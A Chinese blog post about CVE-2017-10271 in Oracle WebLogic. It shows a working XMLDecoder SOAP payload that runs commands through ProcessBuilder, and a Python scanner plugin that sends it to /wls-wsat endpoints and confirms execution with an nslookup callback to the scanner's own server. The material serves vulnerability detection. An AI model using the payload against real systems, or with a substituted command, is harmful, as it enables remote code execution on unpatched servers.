zoukankan      html  css  js  c++  java
  • weblogic新漏洞学习cve-2017-10271

    一、原理:

      很明显啦,readobject又出来背锅了,一个XML的反序列化漏洞导致的命令执行。

      具体原理我看不懂java代码的我也只能学习别人的分析。给出一篇参考文章,写的非常详细:

      漏洞原理

    二、如何构造命令执行的payload-xml:

     1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
     2     <soapenv:Header> 
     3         <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
     4             <java version="1.8" class="java.beans.XMLDecoder"> 
     5                 <void class="java.lang.ProcessBuilder"> 
     6                     <array class="java.lang.String" length="3"> 
     7                         <void index="0"> 
     8                             <string>nslookup</string> #命令名称 
     9                         </void>  
    10                         <void index="1"> 
    11                             <string>%s</string> #巡风的随机字符串,用来后面去查HTTP或者DNS log的flag字符串
    12                         </void> 
    13                         <void index="2"> 
    14                             <string>%s</string> #目标IP
    15                         </void> 
    16                     </array>  
    17                 <void method="start"/>
    18                 </void> 
    19             </java> 
    20         </work:WorkContext> 
    21     </soapenv:Header>  
    22     <soapenv:Body/> 
    23 </soapenv:Envelope>

    三、巡风的poc分析:

     讲一下验证流程:

    1、首先发包请求目标地址,如果目标地址返回存在banner信息:Web Services在报文中则进行下一步测试。 (首先得有weblogic啊)

    2、发请求把XML内容 POST到目标主机去,休息2s后请求巡风的自己的WEB服务器上的http://%s:8088/{随机字符串} 相当于记录了NSLOOKUP的dnslog。如何查到了,返回结果有YES则存在漏洞,否则不存在。

      1 #!/usr/bin/python
      2 # coding:utf-8
      3 '''
      4 巡风及巡风的插件基于python2
      5 主要有两个函数:
      6 get_plugin_info() 返回插件信息
      7 check(ip, port, timeout) 接收IP,端口号及超时参数供巡风主程序调用,有返回值且返回值在判断里为True,即为漏洞存在,返回值即为本次的扫描结果,详情请看接下来的函数实现
      8 '''
      9 
     10 import random
     11 import urllib2
     12 import socket
     13 from time import sleep
     14 
     15 
     16 def get_plugin_info():
     17     '''get_plugin_info 函数用于返回该插件和插件所检测漏洞的信息'''
     18     plugin_info = {
     19         "name": "WebLogic WLS RCE CVE-2017-10271",
     20         "info": "Oracle WebLogic Server WLS安全组件中的缺陷导致远程命令执行",
     21         "level": "高危",
     22         "type": "命令执行",
     23         "author": ".@sinosig",
     24         "url": "https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html",
     25         "keyword": "tag:weblogic",
     26     }
     27     return plugin_info
     28 
     29 
     30 def random_str(len):
     31     '''返回随机字符串'''
     32     str1 = ""
     33     for i in range(len):
     34         str1 += (random.choice("ABCDEFGH1234567890"))
     35     return str(str1)
     36 
     37 
     38 def get_ver_ip(ip):
     39     '''返回当前服务器ip,当poc所用payload无回显时,可以使用巡风辅助验证的http服务和dns服务'''
     40     csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
     41     csock.connect((ip, 80))
     42     (addr, port) = csock.getsockname()
     43     csock.close()
     44     return addr
     45 
     46 
     47 def check(ip, port, timeout):
     48     '''本次poc的验证的主函数,巡风会调用该函数进行漏洞检测'''
     49     test_str = random_str(6)
     50     server_ip = get_ver_ip(ip)
     51     check_url = ['/wls-wsat/CoordinatorPortType', '/wls-wsat/CoordinatorPortType11']
     52 
     53     heads = {
     54         'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)',
     55         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
     56         'Accept-Language': 'zh-CN,zh;q=0.8',
     57         'SOAPAction': "",
     58         'Content-Type': 'text/xml;charset=UTF-8',
     59     }
     60 
     61     # 本次漏洞的payload
     62     # 本次命令执行漏洞的payload所触发的response没有明显回显和行为提供判断,所以作者使用nslookup发送dns请求到get_ver_ip函数中取到的服务器地址,如果巡风服务器收到带有random_str函数生成的随机字符串的dns请求即可判断为漏洞存在。
     63     post_str = '''
     64         <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
     65           <soapenv:Header> 
     66             <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
     67               <java version="1.8" class="java.beans.XMLDecoder"> 
     68                 <void class="java.lang.ProcessBuilder"> 
     69                   <array class="java.lang.String" length="3"> 
     70                     <void index="0"> 
     71                       <string>nslookup</string> 
     72                     </void>  
     73                     <void index="1"> 
     74                       <string>%s</string> 
     75                     </void> 
     76                     <void index="2"> 
     77                       <string>%s</string> 
     78                     </void> 
     79                   </array>  
     80                   <void method="start"/>
     81                 </void> 
     82               </java> 
     83             </work:WorkContext> 
     84           </soapenv:Header>  
     85           <soapenv:Body/> 
     86         </soapenv:Envelope>
     87                 ''' % (test_str, server_ip)
     88     for url in check_url:
     89         target_url = 'http://' + ip + ':' + str(port) + url.strip()
     90         req = urllib2.Request(url=target_url, headers=heads)
     91         if 'Web Services' in urllib2.urlopen(req, timeout=timeout).read():
     92             req = urllib2.Request(url=target_url, data=post_str, headers=heads)
     93             try:
     94                 urllib2.urlopen(req, timeout=timeout).read()
     95             except urllib2.URLError:
     96                 pass
     97             sleep(2)
     98             # 这里请求 http://{巡风的地址}:8088/{本次生成随机字符串} 如果返回YES,则证明服务器收到该请求,漏洞存在
     99             check_result = urllib2.urlopen("http://%s:8088/%s" % (server_ip, test_str), timeout=timeout).read()
    100             if "YES" in check_result:
    101                 return "Exist CVE-2017-10271"
    102         else:
    103             pass
  • 相关阅读:
    PostgreSQL操作问题(转载)
    psql执行的时候不输入密码的设定 (转载)
    项目管理——对事不对人(转载)
    软件项目经理应有的能力和素质(转载)
    Postgresql数据库的一些字符串操作函数
    8 of the best web design resource pages(转载)
    再谈:Word转PDF及SWF在线浏览——Flash Paper
    项目VS产品
    PostgreSQL+PostGIS的使用(转载)
    12+ open source projects for .NET you probably didn’t know about(转载)
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8127154.html
Copyright © 2011-2022 走看看